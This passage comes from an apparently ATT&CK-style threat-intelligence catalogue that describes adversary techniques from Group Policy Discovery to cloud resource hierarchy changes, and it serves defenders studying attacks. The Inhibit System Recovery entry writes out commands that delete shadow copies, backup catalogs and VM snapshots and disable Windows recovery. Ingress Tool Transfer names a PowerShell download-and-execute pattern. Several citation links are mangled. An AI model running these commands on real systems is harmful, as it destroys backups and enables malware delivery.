[Phishing](https://app.tidalcyber.com/technique/d4a36624-50cb-43d3-95af-a2e10878a533) or [Trusted Relationship](https://app.tidalcyber.com/technique/7549c2f9-b5d2-4773-90ed-42f668aecacf)).

The tag is: *misp-galaxy:technique="Gather Victim Org Information"*

Group Policy Discovery

Adversaries may gather information on Group Policy settings to identify paths for privilege escalation, security measures applied within a domain, and to discover patterns in domain objects that can be manipulated or used to blend in the environment. Group Policy allows for centralized management of user and computer settings in Active Directory (AD). Group policy objects (GPOs) are containers for group policy settings made up of files stored within a predictable network path `\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\`.^{[[TechNet Group Policy Basics](https://app.tidalcyber.com/references/9b9c8c6c-c272-424e-a594-a34b7bf62477)]}^{[[ADSecurity GPO Persistence 2016](https://app.tidalcyber.com/references/e304715f-7da1-4342-ba5b-d0387d93aeb2)]}

Adversaries may use commands such as <code>gpresult</code> or various publicly available PowerShell functions, such as <code>Get-DomainGPO</code> and <code>Get-DomainGPOLocalGroup</code>, to gather information on Group Policy settings.<sup>[[Microsoft gpresult](https://app.tidalcyber.com/references/88af38e8-e437-4153-80af-

a1be8c6a8629)]</sup>^{[[Github PowerShell Empire](https://app.tidalcyber.com/references/017ec673-454c-492a-a65b-10d3a20dfdab)]} Adversaries may use this information to shape follow-on behaviors, including determining potential attack paths within the target network as well as opportunities to manipulate Group Policy settings (i.e. [Domain or Tenant Policy Modification](https://app.tidalcyber.com/technique/d092a9e1-63d0-415d-8cd0-666a261be5d9)) for their benefit.

The tag is: *misp-galaxy:technique="Group Policy Discovery"*

Hardware Additions

Adversaries may physically introduce computer accessories, networking hardware, or other computing devices into a system or network that can be used as a vector to gain access. Rather than just connecting and distributing payloads via removable storage (i.e. [Replication Through Removable Media](https://app.tidalcyber.com/technique/6a7ab25e-49ed-4cd3-b199-5d80b728b416)), more robust hardware additions can be used to introduce new functionalities and/or features into a system that can then be abused.

While public references of usage by threat actors are scarce, many red teams/penetration testers leverage hardware additions for initial access. Commercial and open source products can be leveraged with capabilities such as passive network tapping, network traffic modification (i.e. [Adversary-in-the-Middle](https://app.tidalcyber.com/technique/d98dbf30-c454-42ff-a9f3-2cd3319cc0d9)), keystroke injection, kernel memory reading via DMA, addition of new wireless access points to an existing network, and others.^{[[Ossmann Star Feb 2011](https://app.tidalcyber.com/references/1be27354-1326-4568-b26a-d0034acecba2)]}^{[[Aleks Weapons Nov 2015](https://app.tidalcyber.com/references/fd22c941-b0dc-4420-b363-2f5777981041)]}^{[[Frisk DMA August 2016](https://app.tidalcyber.com/references/c504485b-2daa-4159-96da-481a0b97a979)]}^{[[McMillan Pwn March 2012](https://app.tidalcyber.com/references/6b57e883-75a1-4a71-accc-2d18148b9c3d)]}

The tag is: *misp-galaxy:technique="Hardware Additions"*

Hide Artifacts

Adversaries may attempt to hide artifacts associated with their behaviors to evade detection. Operating systems may have features to hide various artifacts, such as important system files and administrative task execution, to avoid disrupting user work environments and prevent users from changing files or features on the system. Adversaries may abuse these features to hide artifacts such as files, directories, user accounts, or other system activity to evade detection.^{[[Sofacy Komplex Trojan](https://app.tidalcyber.com/references/a21be45e-26c3-446d-b336-b58d08df5749)]}^{[[Cybereason OSX Pirrit](https://app.tidalcyber.com/references/ebdf09ed-6eec-450f-aaea-067504ec25ca)]}^{[[MalwareBytes ADS July 2015](https://app.tidalcyber.com/references/b552cf89-1880-48de-9088-c755c38821c1)]}

Adversaries may also attempt to hide artifacts associated with malicious behavior by creating computing regions that are isolated from common security instrumentation, such as through the use of virtualization technology.<sup>[[Sophos Ragnar May 2020](https://app.tidalcyber.com/

references/04ed6dc0-45c2-4e36-8ec7-a75f6f715f0a)]</sup>

The tag is: *misp-galaxy:technique="Hide Artifacts"*

Hide Infrastructure

Adversaries may manipulate network traffic in order to hide and evade detection of their C2 infrastructure. This can be accomplished in various ways including by identifying and filtering traffic from defensive tools,^{[[TA571](https://app.tidalcyber.com/references/5b463ad7-f425-5e70-b0b0-28514730a888)]} masking malicious domains to obfuscate the true destination from both automated scanning tools and security researchers,^{[[Schema-abuse](https://app.tidalcyber.com/references/75b860d9-a48d-57de-ba1e-b0db970abb1b)]}^{[[Facad1ng](https://app.tidalcyber.com/references/bd80f3d7-e653-5f8f-ba8a-00b8780ae935)]}^{[[Browser-updates](https://app.tidalcyber.com/references/89e913a8-1d52-53fe-b692-fb72e21d794f)]} and otherwise hiding malicious artifacts to delay discovery and prolong the effectiveness of adversary infrastructure that could otherwise be identified, blocked, or taken down entirely.

C2 networks may include the use of [Proxy](https://app.tidalcyber.com/technique/ba6a869a-c870-4be6-bc08-e078f0efdc3b) or VPNs to disguise IP addresses, which can allow adversaries to blend in with normal network traffic and bypass conditional access policies or anti-abuse protections. For example, an adversary may use a virtual private cloud to spoof their IP address to closer align with a victim's IP address ranges. This may also bypass security measures relying on geolocation of the source IP address.^{[[sysdig](https://app.tidalcyber.com/references/80cb54c2-2c44-5e19-bbc5-da9f4aaf976a)]}^{[[Orange Residential Proxies](https://app.tidalcyber.com/references/df4b99f3-1796-57b3-a352-37be5380badc)]}

Adversaries may also attempt to filter network traffic in order to evade defensive tools in numerous ways, including blocking/redirecting common incident responder or security appliance user agents.^{[[mod_rewrite](https://app.tidalcyber.com/references/3568b09c-7368-5fc2-85b3-d16ee9b9c686)]}^{[[SocGholish-update](https://app.tidalcyber.com/references/01d9c3ba-29e2-5090-b399-0e7adf50a6b9)]} Filtering traffic based on IP and geo-fencing may also avoid automated sandboxing or researcher activity (i.e., [Virtualization/Sandbox Evasion]([TA571](https://app.tidalcyber.com/references/5b463ad7-f425-5e70-b0b0-28514730a888)]</sup>^{[[mod_rewrite](https://app.tidalcyber.com/references/3568b09c-7368-5fc2-85b3-d16ee9b9c686)]}

Hiding C2 infrastructure may also be supported by [Resource Development](https://app.tidalcyber.com/tactics/989d09c2-12b8-4419-9b34-a328cf295fff) activities such as [Acquire Infrastructure](https://app.tidalcyber.com/technique/66ce76fb-5e1b-4462-9b46-d59bdfc6d3f3) and [Compromise Infrastructure](https://app.tidalcyber.com/technique/c12d81d3-abe4-43d7-8a65-f4b3150e722d). For example, using widely trusted hosting services or domains such as prominent URL shortening providers or marketing services for C2 networks may enable adversaries to present benign content that later redirects victims to malicious web pages or infrastructure once specific conditions are met.^{[[StarBlizzard](https://app.tidalcyber.com/references/68b16960-1893-51a1-b46c-974a09d4a0c4)]}^{[[QR-cofense](https://app.tidalcyber.com/references/eda8270f-c76f-5d01-b45f-74246945ec50)]}

The tag is: *misp-galaxy:technique="Hide Infrastructure"*

Hijack Execution Flow

Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs. Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time. Adversaries may also use these mechanisms to elevate privileges or evade defenses, such as application control or other restrictions on execution.

There are many ways an adversary may hijack the flow of execution, including by manipulating how the operating system locates programs to be executed. How the operating system locates libraries to be used by a program can also be intercepted. Locations where the operating system looks for programs/resources, such as file directories and in the case of Windows the Registry, could also be poisoned to include malicious payloads.

The tag is: *misp-galaxy:technique="Hijack Execution Flow"*

Impair Defenses

Adversaries may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms. This not only involves impairing preventative defenses, such as firewalls and anti-virus, but also detection capabilities that defenders can use to audit activity and identify malicious behavior. This may also span both native defenses as well as supplemental capabilities installed by users and administrators.

Adversaries may also impair routine operations that contribute to defensive hygiene, such as blocking users from logging out, preventing a system from shutting down, or disabling or modifying the update process. Adversaries could also target event aggregation and analysis mechanisms, or otherwise disrupt these procedures by altering other system components. These restrictions can further enable malicious operations as well as the continued propagation of incidents.^{[[Google Cloud Mandiant UNC3886 2024](https://app.tidalcyber.com/references/77b32efe-b936-5541-b0fb-aa442a7d11b7)]}^{[[Emotet shutdown](https://app.tidalcyber.com/references/02e6c7bf-f81c-53a3-b771-fd77d4cdb5a0)]}

The tag is: *misp-galaxy:technique="Impair Defenses"*

Impersonation

Adversaries may impersonate a trusted person or organization in order to persuade and trick a target into performing some action on their behalf. For example, adversaries may communicate with victims (via [Phishing for Information](https://app.tidalcyber.com/technique/b6fe2fda-9c05-4f05-b049-7bb5b9ba5b06), [Phishing](https://app.tidalcyber.com/technique/d4a36624-50cb-43d3-95af-a2e10878a533), or [Internal Spearphishing](https://app.tidalcyber.com/technique/4f4ea659-7653-4bfd-a525-b2af32c5899b)) while impersonating a known sender such as an executive, colleague, or third-party vendor. Established trust can then be leveraged to accomplish an adversary's ultimate goals, possibly against multiple victims.

In many cases of business email compromise or email fraud campaigns, adversaries use

impersonation to defraud victims — deceiving them into sending money or divulging information that ultimately enables [Financial Theft](https://app.tidalcyber.com/technique/b9c9fd13-c10c-5e78-aeeb-ac18dc0605f9).

Adversaries will often also use social engineering techniques such as manipulative and persuasive language in email subject lines and body text such as `payment`, `request`, or `urgent` to push the victim to act quickly before malicious activity is detected. These campaigns are often specifically targeted against people who, due to job roles and/or accesses, can carry out the adversary's goal.

Impersonation is typically preceded by reconnaissance techniques such as [Gather Victim Identity Information](https://app.tidalcyber.com/technique/aea36489-047e-4c4a-ab26-c51fd3556182) and [Gather Victim Org Information](https://app.tidalcyber.com/technique/e55d2e4b-07d8-4c22-b543-c187be320578) as well as acquiring infrastructure such as email domains (i.e. [Domains](https://app.tidalcyber.com/technique/b9f5f6b7-ecff-48c8-a23e-c58fd9e41a0d)) to substantiate their false identity.^{[[CrowdStrike-BEC](https://app.tidalcyber.com/references/7e674a8d-e79f-5cb0-8ad2-a7678e647c6f)]}

There is the potential for multiple victims in campaigns involving impersonation. For example, an adversary may [Compromise Accounts](https://app.tidalcyber.com/technique/c6374cbe-799a-4648-b1e2-2a66bb42d3f3) targeting one organization which can then be used to support impersonation against other entities.^{[[VEC](https://app.tidalcyber.com/references/4fd7c9f7-4731-524a-b332-9cb7f2c025ae)]}

The tag is: *misp-galaxy:technique="Impersonation"*

Implant Internal Image

Adversaries may implant cloud or container images with malicious code to establish persistence after gaining access to an environment. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be implanted or backdoored. Unlike [Upload Malware](https://app.tidalcyber.com/technique/8ecf5275-c6d1-4fe3-a24a-63fa1f3144fe), this technique focuses on adversaries implanting an image in a registry within a victim's environment. Depending on how the infrastructure is provisioned, this could provide persistent access if the infrastructure provisioning tool is instructed to always use the latest image.^{[[Rhino Labs Cloud Image Backdoor Technique Sept 2019](https://app.tidalcyber.com/references/8fb46ed8-0c21-4b57-b2a6-89cb28f0abaf)]}

A tool has been developed to facilitate planting backdoors in cloud container images.^{[[Rhino Labs Cloud Backdoor September 2019](https://app.tidalcyber.com/references/ac31b781-dbe4-49c2-b7af-dfb23d435ce8)]} If an adversary has access to a compromised AWS instance, and permissions to list the available container images, they may implant a backdoor such as a [Web Shell]([Rhino Labs Cloud Image Backdoor Technique Sept 2019(https://app.tidalcyber.com/references/8fb46ed8-0c21-4b57-b2a6-89cb28f0abaf)]</sup>

The tag is: *misp-galaxy:technique="Implant Internal Image"*

Indicator Removal

Adversaries may delete or modify artifacts generated within systems to remove evidence of their presence or hinder defenses. Various artifacts may be created by an adversary or something that can be attributed to an adversary's actions. Typically these artifacts are used as defensive indicators related to monitored events, such as strings from downloaded files, logs that are generated from user actions, and other data analyzed by defenders. Location, format, and type of artifact (such as command or login history) are often specific to each platform.

Removal of these indicators may interfere with event collection, reporting, or other processes used to detect intrusion activity. This may compromise the integrity of security solutions by causing notable events to go unreported. This activity may also impede forensic analysis and incident response, due to lack of sufficient data to determine what occurred.

The tag is: *misp-galaxy:technique="Indicator Removal"*

Indirect Command Execution

Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters. Various Windows utilities may be used to execute commands, possibly without invoking [cmd](https://app.tidalcyber.com/software/98d89476-63ec-4baf-b2b3-86c52170f5d8). For example, [Forfiles](https://app.tidalcyber.com/software/c6dc67a6-587d-4700-a7de-bee043a0031a), the Program Compatibility Assistant (`pcalua.exe`), components of the Windows Subsystem for Linux (WSL), `Scriptrunner.exe`, as well as other utilities may invoke the execution of programs and commands from a [Command and Scripting Interpreter](https://app.tidalcyber.com/technique/a2184d53-63b1-4c40-81ed-da799080c36c), Run window, or via scripts.^{[[VectorSec ForFiles Aug 2017](https://app.tidalcyber.com/references/8088d15d-9512-4d12-a99a-c76ad9dc3390)]}^{[[Evi1cg Forfiles Nov 2017](https://app.tidalcyber.com/references/b292b85e-68eb-43c3-9b5b-222810e2f26a)]}^{[[Secure Team - Scriptrunner.exe](https://app.tidalcyber.com/references/930ca682-03e0-57e7-a1ec-5a3186f0ff64)]}^{[[SS64](https://app.tidalcyber.com/references/e96e1486-ae8a-5fb3-bb8b-a9f0bf22b488)]}^{[[Bleeping Computer - Scriptrunner.exe](https://app.tidalcyber.com/references/f7ab464d-255b-5d92-a878-c16c905c057b)]} Adversaries may also abuse the `ssh.exe` binary to execute malicious commands via the `ProxyCommand` and `LocalCommand` options, which can be invoked via the `-o` flag or by modifying the SSH config file.^{[[Threat Actor Targets the Manufacturing industry with Lumma Stealer and Amadey Bot](https://app.tidalcyber.com/references/fb04c74e-3323-50b7-9e3f-715e9dc57cc8)]}

Adversaries may abuse these features for [Defense Evasion](https://app.tidalcyber.com/tactics/8e29c6c9-0c10-4bb0-827d-ff0ab8922726), specifically to perform arbitrary execution while subverting detections and/or mitigation controls (such as Group Policy) that limit/prevent the usage of [cmd](https://app.tidalcyber.com/software/98d89476-63ec-4baf-b2b3-86c52170f5d8) or file extensions more commonly associated with malicious payloads.

The tag is: *misp-galaxy:technique="Indirect Command Execution"*

Ingress Tool Transfer

Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as [ftp](https://app.tidalcyber.com/software/062deac9-8f05-44e2-b347-96b59ba166ca). Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. [Lateral Tool Transfer](https://app.tidalcyber.com/technique/3dea57fc-3131-408b-a1fd-ff2eea1d858f)).

On Windows, adversaries may use various utilities to download tools, such as `copy`, `finger`, [certutil](https://app.tidalcyber.com/software/2fe21578-ee31-4ee8-b6ab-b5f76f97d043), and [PowerShell](https://app.tidalcyber.com/technique/6ca7838a-e8ad-43e8-9da6-15b640d1cbde) commands such as <code>IEX(New-Object Net.WebClient).downloadString()</code> and <code>Invoke-WebRequest</code>. On Linux and macOS systems, a variety of utilities also exist, such as `curl`, `scp`, `sftp`, `tftp`, `rsync`, `finger`, and `wget`.^{[[t1105_lolbas](https://app.tidalcyber.com/references/80e649f5-6c74-4d66-a452-4f4cd51501da)]} A number of these tools, such as `wget`, `curl`, and `scp`, also exist on ESXi. After downloading a file, a threat actor may attempt to verify its integrity by checking its hash value (e.g., via `certutil -hashfile`).^{[[Google Cloud Threat Intelligence COSCMICENERGY 2023](https://app.tidalcyber.com/references/69f7cffb-a236-5ffa-9f96-3ffbd8c4f2d0)]}

Adversaries may also abuse installers and package managers, such as `yum` or `winget`, to download tools to victim hosts. Adversaries have also abused file application features, such as the Windows `search-ms` protocol handler, to deliver malicious files to victims through remote file searches invoked by [User Execution](https://app.tidalcyber.com/technique/b84435ab-2ff4-4b6f-ba71-b4b815474872) (typically after interacting with [Phishing](https://app.tidalcyber.com/technique/d4a36624-50cb-43d3-95af-a2e10878a533) lures).^{[[T1105: Trellix_search-ms](https://app.tidalcyber.com/references/7079d170-9ead-5be4-bbc8-13c3f082b3dd)]}

Files can also be transferred using various [Web Service](https://app.tidalcyber.com/technique/a729feee-8e21-444e-8eea-2ec595b09931)s as well as native or otherwise present tools on the victim system.^{[[PTSecurity Cobalt Dec 2016](https://app.tidalcyber.com/references/2de4d38f-c99d-4149-89e6-0349a4902aa2)]} In some cases, adversaries may be able to leverage services that sync between a web-based and an on-premises client, such as Dropbox or OneDrive, to transfer files onto victim systems. For example, by compromising a cloud account and logging into the service's web portal, an adversary may be able to trigger an automatic syncing process that transfers the file onto the victim's machine.^{[[Dropbox Malware Sync](https://app.tidalcyber.com/references/06ca63fa-8c6c-501c-96d3-5e7e45ca1e04)]}

The tag is: *misp-galaxy:technique="Ingress Tool Transfer"*

Inhibit System Recovery

Adversaries may delete or remove built-in data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.^{[[Talos Olympic Destroyer 2018](https://app.tidalcyber.com/references/25a2e179-7abd-4091-8af4-e9d2bf24ef11)]}<sup>[[FireEye WannaCry 2017](https://app.tidalcyber.com/references/

34b15fe1-c550-4150-87bc-ac9662547247)]</sup> This may deny access to available backups and recovery options.

Operating systems may contain features that can help fix corrupted systems, such as a backup catalog, volume shadow copies, and automatic repair features. Adversaries may disable or delete system recovery features to augment the effects of [Data Destruction](https://app.tidalcyber.com/technique/e5016c2b-85fe-4e6b-917d-0dd5b441cc34) and [Data Encrypted for Impact]([Talos Olympic Destroyer 2018(https://app.tidalcyber.com/references/25a2e179-7abd-4091-8af4-e9d2bf24ef11)]</sup>^{[[FireEye WannaCry 2017](https://app.tidalcyber.com/references/34b15fe1-c550-4150-87bc-ac9662547247)]} Furthermore, adversaries may disable recovery notifications, then corrupt backups.^{[[disable_notif_synology_ransom](https://app.tidalcyber.com/references/d53e8f89-df78-565b-a316-cf2644c5ed36)]}

A number of native Windows utilities have been used by adversaries to disable or delete system recovery features:

- <code>vssadmin.exe</code> can be used to delete all volume shadow copies on a system - <code>vssadmin.exe delete shadows /all /quiet</code>
- [Windows Management Instrumentation](https://app.tidalcyber.com/technique/c37795d9-8970-461f-9491-3086d6b4b69a) can be used to delete volume shadow copies - <code>wmic shadowcopy delete</code>
- <code>wbadmin.exe</code> can be used to delete the Windows Backup Catalog - <code>wbadmin.exe delete catalog -quiet</code>
- <code>bcdedit.exe</code> can be used to disable automatic Windows recovery features by modifying boot configuration data - <code>bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no</code>
- <code>REAgentC.exe</code> can be used to disable Windows Recovery Environment (WinRE) repair/recovery options of an infected system
- <code>diskshadow.exe</code> can be used to delete all volume shadow copies on a system - <code>diskshadow delete shadows all</code> ^{[[Diskshadow](https://app.tidalcyber.com/references/9e8b57a5-7e31-5add-ac3e-8b9c0f7f27aa)]} ^{[[Crytox Ransomware](https://app.tidalcyber.com/references/7c22d9d0-a2d8-5936-a6b1-5c696a2a19c6)]}

On network devices, adversaries may leverage [Disk Wipe](https://app.tidalcyber.com/technique/ea2b3980-05fd-41a3-8ab9-3106e833c821) to delete backup firmware images and reformat the file system, then [System Shutdown/Reboot](https://app.tidalcyber.com/technique/24787dca-6afd-4ab3-ab6c-32e9486ec418) to reload the device. Together this activity may leave network devices completely inoperable and inhibit recovery operations.

On ESXi servers, adversaries may delete or encrypt snapshots of virtual machines to support [Data Encrypted for Impact](https://app.tidalcyber.com/technique/f0c36d24-263c-4811-8784-f716c77ec6b3), preventing them from being leveraged as backups (e.g., via ` vim-cmd vmsvc/snapshot.removeall`).^{[[Cybereason](https://app.tidalcyber.com/references/61dc7b51-3cca-5973-80a2-116cc9ad6f08)]}

Adversaries may also delete “online” backups that are connected to their network – whether via network storage media or through folders that sync to cloud services.^{[[ZDNet Ransomware Backups 2020](https://app.tidalcyber.com/references/301da9c8-60de-58f0-989f-6b504e3457a3)]} In cloud environments, adversaries may disable versioning and backup policies and delete snapshots, database backups, machine images, and prior versions of objects designed to be used in disaster recovery scenarios.^{[[Dark Reading Code Spaces Cyber Attack](https://app.tidalcyber.com/references/e5a3028a-f4cc-537c-9ddd-769792ab33be)]}^{[[Rhino Security Labs AWS S3 Ransomware](https://app.tidalcyber.com/references/785c6b11-c5f0-5cb4-931b-cf75fcc368a1)]}

The tag is: *misp-galaxy:technique="Inhibit System Recovery"*

Input Capture

Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. [Credential API Hooking](https://app.tidalcyber.com/technique/28fd13d1-b555-47fa-9d47-caf6b1367ace)) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. [Web Portal Capture](https://app.tidalcyber.com/technique/34674b83-86a7-4ad9-8b05-49b505aa5ef0)).

The tag is: *misp-galaxy:technique="Input Capture"*

Input Injection

Adversaries may simulate keystrokes on a victim’s computer by various means to perform any type of action on behalf of the user, such as launching the command interpreter using keyboard shortcuts, typing an inline script to be executed, or interacting directly with a GUI-based application. These actions can be preprogrammed into adversary tooling or executed through physical devices such as Human Interface Devices (HIDs).

For example, adversaries have used tooling that monitors the Windows message loop to detect when a user visits bank-specific URLs. If detected, the tool then simulates keystrokes to open the developer console or select the address bar, pastes malicious JavaScript from the clipboard, and executes it - enabling manipulation of content within the browser, such as replacing bank account numbers during transactions.^{[[BleepingComputer BackSwap](https://app.tidalcyber.com/references/47fed6be-5d7e-5491-ba2e-0a8129494476)]}^{[[welivesecurity BackSwap](https://app.tidalcyber.com/references/aeb4e022-a0cb-58ab-8ee5-1c5753927755)]}

Adversaries have also used malicious USB devices to emulate keystrokes that launch PowerShell, leading to the download and execution of malware from adversary-controlled servers.^{[[BleepingComputer USB](https://app.tidalcyber.com/references/b36a077f-9e47-5bf3-a58a-ed5a08821de7)]}

The tag is: *misp-galaxy:technique="Input Injection"*

Internal Spearphishing

After they already have access to accounts or systems within the environment, adversaries may use internal spearphishing to gain access to additional information or compromise other users within the same organization. Internal spearphishing is multi-staged campaign where a legitimate account is initially compromised either by controlling the user's device or by compromising the account credentials of the user. Adversaries may then attempt to take advantage of the trusted internal account to increase the likelihood of tricking more victims into falling for phish attempts, often incorporating [Impersonation]([Trend Micro - Int SP(https://app.tidalcyber.com/references/1c21c911-11db-560c-b623-5937dc478b74)]</sup>

For example, adversaries may leverage [Spearphishing Attachment](https://app.tidalcyber.com/technique/ba553ad4-5699-4458-ae4e-76e1faa43291) or [Spearphishing Link](https://app.tidalcyber.com/technique/d08a9977-9fc2-46bb-84f9-dbb5187c426d) as part of internal spearphishing to deliver a payload or redirect to an external site to capture credentials through [Input Capture](https://app.tidalcyber.com/technique/5ee96331-a7b7-4c32-a8f1-3fb164078f5f) on sites that mimic login interfaces.

Adversaries may also leverage internal chat apps, such as Microsoft Teams, to spread malicious content or engage users in attempts to capture sensitive information and/or credentials.^{[[Int SP - chat apps](https://app.tidalcyber.com/references/8d0db0f2-9b29-5216-8c9c-de8bf0c541de)]}

The tag is: *misp-galaxy:technique="Internal Spearphishing"*

Inter-Process Communication

Adversaries may abuse inter-process communication (IPC) mechanisms for local code or command execution. IPC is typically used by processes to share data, communicate with each other, or synchronize execution. IPC is also commonly used to avoid situations such as deadlocks, which occurs when processes are stuck in a cyclic waiting pattern.

Adversaries may abuse IPC to execute arbitrary code or commands. IPC mechanisms may differ depending on OS, but typically exists in a form accessible through programming languages/libraries or native interfaces such as Windows [Dynamic Data Exchange](https://app.tidalcyber.com/technique/82497cfd-725e-42f8-aaa7-4e20878a6a13) or [Component Object Model](https://app.tidalcyber.com/technique/8bc683db-1311-476f-8cae-45f3f89dcc66). Linux environments support several different IPC mechanisms, two of which being sockets and pipes.^{[[Linux IPC](https://app.tidalcyber.com/references/05293061-ce09-49b5-916a-bb7353acfdfa)]} Higher level execution mediums, such as those of [Command and Scripting Interpreter](https://app.tidalcyber.com/technique/a2184d53-63b1-4c40-81ed-da799080c36c)s, may also leverage underlying IPC mechanisms. Adversaries may also use [Remote Services](https://app.tidalcyber.com/technique/30ef3f13-5e9b-4712-9adf-f0da4ef157a1) such as [Distributed Component Object Model](https://app.tidalcyber.com/technique/ebc5fabb-5634-49f2-8979-94ea98da114a) to facilitate remote IPC execution.^{[[Fireeye Hunting COM June 2019](https://app.tidalcyber.com/references/84311e46-cea1-486a-a737-c4a4946ab837)]}

The tag is: *misp-galaxy:technique="Inter-Process Communication"*

Lateral Tool Transfer

Adversaries may transfer tools or other files between systems in a compromised environment. Once brought into the victim environment (i.e., [Ingress Tool Transfer](https://app.tidalcyber.com/technique/4499ce34-9871-4879-883c-19ddb940f242)) files may then be copied from one system to another to stage adversary tools or other files over the course of an operation.

Adversaries may copy files between internal victim systems to support lateral movement using inherent file sharing protocols such as file sharing over [SMB/Windows Admin Shares](https://app.tidalcyber.com/technique/bc2f2c6c-ffe7-4e78-bbac-369f6781bbdd) to connected network shares or with authenticated connections via [Remote Desktop Protocol]([Unit42 LockerGoga 2019(https://app.tidalcyber.com/references/8f058923-f2f7-4c0e-b90a-c7a0d5e62186)]</sup>

Files can also be transferred using native or otherwise present tools on the victim system, such as scp, rsync, curl, sftp, and [ftp](https://app.tidalcyber.com/software/062deac9-8f05-44e2-b347-96b59ba166ca). In some cases, adversaries may be able to leverage [Web Service](https://app.tidalcyber.com/technique/a729feee-8e21-444e-8eea-2ec595b09931)s such as Dropbox or OneDrive to copy files from one machine to another via shared, automatically synced folders.^{[[Dropbox Malware Sync](https://app.tidalcyber.com/references/06ca63fa-8c6c-501c-96d3-5e7e45ca1e04)]}

The tag is: *misp-galaxy:technique="Lateral Tool Transfer"*

Log Enumeration

Adversaries may enumerate system and service logs to find useful data. These logs may highlight various types of valuable insights for an adversary, such as user authentication records ([Account Discovery](https://app.tidalcyber.com/technique/6736995e-b9ea-401b-81fa-6caeb7a17ce3)), security or vulnerable software ([Software Discovery](https://app.tidalcyber.com/technique/e9bff6ff-3142-4910-8f67-19b868912602)), or hosts within a compromised network ([Remote System Discovery](https://app.tidalcyber.com/technique/00a9a4d4-928d-4d95-be31-dfac6103991f)).

Host binaries may be leveraged to collect system logs. Examples include using `wevtutil.exe` or [PowerShell](https://app.tidalcyber.com/technique/6ca7838a-e8ad-43e8-9da6-15b640d1cbde) on Windows to access and/or export security event information.^{[[WithSecure Lazarus-NoPineapple Threat Intel Report 2023](https://app.tidalcyber.com/references/195922fa-a843-5cd3-a153-32f0b960dcb9)]}^{[[Cadet Blizzard emerges as novel threat actor](https://app.tidalcyber.com/references/7180c6a7-e6ea-54bf-bcd7-c5238bbc5f5b)]} In cloud environments, adversaries may leverage utilities such as the Azure VM Agent's `CollectGuestLogs.exe` to collect security logs from cloud hosted infrastructure.^{[[SIM Swapping and Abuse of the Microsoft Azure Serial Console](https://app.tidalcyber.com/references/c596a0e0-6e9c-52e4-b1bb-9c0542f960f2)]}

Adversaries may also target centralized logging infrastructure such as SIEMs. Logs may also be bulk exported and sent to adversary-controlled infrastructure for offline analysis.

In addition to gaining a better understanding of the environment, adversaries may also monitor

logs in real time to track incident response procedures. This may allow them to adjust their techniques in order to maintain persistence or evade defenses.^{[[Permiso GUI-Vil 2023](https://app.tidalcyber.com/references/f3f16141-3420-5e72-b7d0-092bbd02f064)]}

The tag is: *misp-galaxy:technique="Log Enumeration"*

Masquerading

Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.

Renaming abusable system utilities to evade security monitoring is also a form of [Masquerading]([LOLBAS Main Site(https://app.tidalcyber.com/references/615f6fa5-3059-49fc-9fa4-5ca0aeff4331)]</sup>

The tag is: *misp-galaxy:technique="Masquerading"*

Modify Authentication Process

Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts. The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows, pluggable authentication modules (PAM) on Unix-based systems, and authorization plugins on MacOS systems, responsible for gathering, storing, and validating credentials. By modifying an authentication process, an adversary may be able to authenticate to a service or system without using [Valid Accounts](https://app.tidalcyber.com/technique/a9b7eb2f-63e7-41bc-9d77-f7c4cede5406).

Adversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms. Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop.

The tag is: *misp-galaxy:technique="Modify Authentication Process"*

Modify Cloud Compute Infrastructure

An adversary may attempt to modify a cloud account's compute service infrastructure to evade defenses. A modification to the compute service infrastructure can include the creation, deletion, or modification of one or more components such as compute instances, virtual machines, and snapshots.

Permissions gained from the modification of infrastructure components may bypass restrictions that prevent access to existing infrastructure. Modifying infrastructure components may also allow

an adversary to evade detection and remove evidence of their presence.^{[[Mandiant M-Trends 2020](https://app.tidalcyber.com/references/83bc9b28-f8b3-4522-b9f1-f43bce3ae917)]}

The tag is: *misp-galaxy:technique="Modify Cloud Compute Infrastructure"*

Modify Cloud Resource Hierarchy

Adversaries may attempt to modify hierarchical structures in infrastructure-as-a-service (IaaS) environments in order to evade defenses.

IaaS environments often group resources into a hierarchy, enabling improved resource management and application of policies to relevant groups. Hierarchical structures differ among cloud providers. For example, in AWS environments, multiple accounts can be grouped under a single organization, while in Azure environments, multiple subscriptions can be grouped under a single management group.^{[[AWS Organizations](https://app.tidalcyber.com/references/06d4ce21-ef87-5977-80df-10bd36ae722e)]}^{[[Microsoft Azure Resources](https://app.tidalcyber.com/references/3d2f4092-5173-5f40-8b5f-c1cb886a2e6e)]}

